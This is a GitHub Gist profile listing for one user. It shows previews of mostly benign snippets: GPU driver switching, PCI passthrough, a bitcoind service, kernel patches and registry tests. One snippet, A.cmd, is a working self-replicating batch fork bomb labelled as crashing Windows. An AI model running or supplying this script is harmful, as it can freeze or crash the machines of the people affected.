Skip to content

Instantly share code, notes, and snippets.

View davispuh's full-sized avatar

Dāvis davispuh

  • Latvia
View GitHub Profile
670530
690230
697990
832440
984700
1066560
1079080
1164900
1193480
1205280
@davispuh
davispuh / switch-modules.sh
Last active May 16, 2022 10:47
Switch NVIDIA/nouveau modules
#!/bin/sh
unbind_vtconsoles()
{
for ((i = 0; i < 16; i++))
do
if [ -d "/sys/class/vtconsole/vtcon$i" ]; then
if [ `cat /sys/class/vtconsole/vtcon$i/name | grep -c "frame buffer"` -eq 1 ]; then
while [ `cat /sys/class/vtconsole/vtcon$i/bind` -ne 0 ]; do
@davispuh
davispuh / virtVM.rb
Last active February 17, 2022 03:21
Script to automaticaly unbind devices from host for PCI passthrough, also will bind back after VM is turned off
#!/usr/bin/env ruby
require 'pathname'
require 'open3'
require 'nokogiri'
require 'ostruct'
require 'shellwords'
require 'timeout'
VM_NAME = 'WindowsVM'
@davispuh
davispuh / bitcoind.service
Created January 6, 2014 14:34
Bitcoin-daemon service file for Systemd
[Unit]
Description=Bitcoin daemon serivce
After=network.target
[Service]
Type=simple
User=bitcoin
ExecStart=/usr/bin/bitcoind
[Install]
@davispuh
davispuh / files.rb
Created March 23, 2016 01:59
Show Tar archive files
#!/bin/ruby
require 'faraday'
url = 'http://domain/somefile.tar'
conn = Faraday.new
header_response = conn.head(url)
total_size = header_response.env[:response_headers]["content-length"].to_i
@davispuh
davispuh / efifb.patch
Created March 22, 2016 19:59
Make efifb as a loadable module
diff --git a/drivers/video/fbdev/Kconfig b/drivers/video/fbdev/Kconfig
index 8ea45a5..de3c96e 100644
--- a/drivers/video/fbdev/Kconfig
+++ b/drivers/video/fbdev/Kconfig
@@ -760,7 +760,7 @@ config FB_VESA
read <file:Documentation/fb/vesafb.txt>. If unsure, say Y.
config FB_EFI
- bool "EFI-based Framebuffer Support"
+ tristate "EFI-based Framebuffer Support"
@davispuh
davispuh / test_daylight_savings.patch
Created January 26, 2016 01:13
Chronic test_daylight_savings
diff --git a/test/test_daylight_savings.rb b/test/test_daylight_savings.rb
index d6f303f..3dfdc26 100644
--- a/test/test_daylight_savings.rb
+++ b/test/test_daylight_savings.rb
@@ -9,110 +9,91 @@ class TestDaylightSavings < TestCase
def test_begin_past
# ambiguous - resolve to last night
- t = Chronic::RepeaterTime.new('900')
- t.start = @begin_daylight_savings
@davispuh
davispuh / A.cmd
Last active December 27, 2015 22:39
Crash Windows. Tested to work for XP, Vista, Windows 7
@echo off
REM This script is dedicated to Public Domain
FOR %%i in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9) DO (
mkdir %%i
copy %~nx0 %%i
cd %%i
start %~nx0
cd ..
)
del %~nx0
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software]
"test"="åáâäãā"
"åáâäãā"="åáâäãā"
@davispuh
davispuh / test3.rb
Last active December 23, 2015 18:29
#!/usr/bin/env ruby
#encoding: utf-8
require 'win32/registry'
begin
Win32::Registry::HKEY_CURRENT_USER.open("Software", Win32::Registry::KEY_ALL_ACCESS) do |reg|
reg['test2'] = 'åáâäãā'
reg['test3åáâäãā'] = 'åáâäãā'
value = reg['test']
puts value.encoding